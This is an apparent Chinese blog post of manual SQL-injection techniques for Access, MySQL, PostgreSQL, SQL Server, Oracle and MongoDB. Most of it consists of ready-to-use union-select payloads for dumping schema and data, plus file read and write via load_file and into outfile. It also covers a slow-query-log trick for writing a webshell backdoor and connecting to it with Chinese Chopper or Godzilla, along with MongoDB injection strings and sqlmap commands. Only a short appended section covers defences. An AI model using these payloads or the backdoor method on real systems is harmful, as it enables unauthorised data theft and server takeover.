WEB渗透SQL注入(常见数据库手工注入方法)!

SQL注入基础篇:

sqlmap:中文使用手册:https://sqlmap.highlight.ink/

ACEESS:(特性:无数据库用户,无数据库权限,无数据库查询参数,无高权限注入)
    判断注入点
      判定字段数 order by 
      判定回显位置 union select  1,2,3,4,5...
   
   由于Access数据库特性注入需要字典猜解表名和列名
    1 猜解表名 正确页面正常,错误页面报错;
    2 如表名已知列名猜解失败,可使用偏移注入 得到数据  使用*测数表的字段数

mysql:
      数 order by 
      判定回显位置 union select  1,2,3,4,5...

  当前用户:user()
  数据库:database()
  存储数据库,表,列的表 :infomation_schema
          information——schema.tables information下的表名
          information_schema.columns information下的列名
  获取某数据库下的表名
   union select 1,table_name,3,4...from information_schema.tables where table_name = database();
 获取某表下的列名
       union select 1,column_name,3,4...from information_schema.columns where table_name = 表名;    
    跨库注入:查表是需要指定数据库名.表名
    获取所有数据库名
      union select schema_name,2,3,4..from imformation_schema.schemata
    
SQL:读写注入(mysql高权限root)
       利用数据库的读写语句读取文件或写入后门(条件数据库开启读写权限)
    文件路径可通过报错/扫描/信息泄露/默认配置路径/获得
    select load_file('文件路径')
    select '内容' into outfile '写入路径0'

    -无法写入:secure_file_priv突破(条件需要支持sql执行环境(堆叠注入)||连接上数据库||网站phpmyadmin)
    执行语句:
    1.开启慢日志记录 :set global slow_query_log=1;
    2.设置日志记录路径到某文件: set global slow_query_log_file='路径/11.(后门脚本后缀)'
    3.select '后门代码' or SLEEP(1)
        执行后的语句(后门语句)就会记录保存在11.(后门脚本后缀)中
    4.通过菜刀或哥斯拉连接
    
PostgreSql/Sql server注入:
    判断猜测回显为:
      and 1=2 union select null,null,null...
      and 1=2 union select 'null',null,.....
      通过''闭合测试出他的回显位
      -回显确定后直接百度或sqlmap注入
     
       PostgreSql:version()版本,current_user当前用户,current_atabase()当前数据库名
       Sql server:@@version版本,db_name()当前数据库名,@@SERVERNAME 务器主机信息
        

Oracle/Mongdb 联合猜解
    测试回显位
     Oracle:and 1=2 union select '1','2'...from dual(虚表)
     Mongdb:
        实例:
            测回显 ...?id=1'});return({title:1,content:'2
            爆库   ...?id=1'});return({title:tojson(db),content:'1
            爆表   ...?id=1'});return({title:tojson(db.getCollectionNames()),content:'1
            爆字段 ...?id=1'});return({title:tojson(db.Authority_confidential.find()[0]),content:'1
            
            '});闭合字符
            db.getCollectionNames()返回的是数组,需要使用tojson转换为字符串
            db.Authority_confidential是当前使用的表.find()函数用于查询,[0]是第一条数据

GET请求:
     通过sqlmap注入 :运行sqlmap.py -u 存在注入点的url

POST请求注入:
    通过BurpSuitePro拦截数据包,通过发包,在参数后测试注入点
    通过sqlmap注入 :运行sqlmap.py -r 数据包.txt
    数据包内容为BurpSuitePro拦截的数据包的内容
    可在参数后加*标记注入点
    

  • 25
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Web渗透中的SQL注入是一种常见的攻击,它利用了Web应用程序对用户输入的不充分验证和过滤,导致恶意用户可以通过构造特定的SQL语句来执行非法的数据库操作。下面是对Web渗透SQL注入的介绍: 1. SQL注入的原理:SQL注入是通过在用户输入中插入恶意的SQL代码,使得应用程序在执行SQL查询时执行了攻击者预期的操作,比如绕过登录验证、获取敏感数据等。 2. SQL注入的类型: - 基于错误的注入:攻击者通过构造恶意的SQL语句,使得应用程序在执行时产生错误信息,从而获取敏感信息。 - 基于布尔盲注的注入:攻击者通过构造恶意的SQL语句,利用应用程序在执行时的不同响应来判断条件是否成立,从而获取敏感信息。 - 基于时间盲注的注入:攻击者通过构造恶意的SQL语句,利用应用程序在执行时的延迟响应来判断条件是否成立,从而获取敏感信息。 3. 防御SQL注入方法: - 使用参数化查询或预编译语句:通过将用户输入作为参数传递给SQL查询,而不是直接拼接到SQL语句中,可以有效防止SQL注入攻击。 - 输入验证和过滤:对用户输入进行严格的验证和过滤,确保只接受合法的输入,并对特殊字符进行转义或编码。 - 最小权限原则:数据库用户应该具有最小的权限,只能执行必要的操作,以减少攻击者利用SQL注入进行的恶意操作的影响范围。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值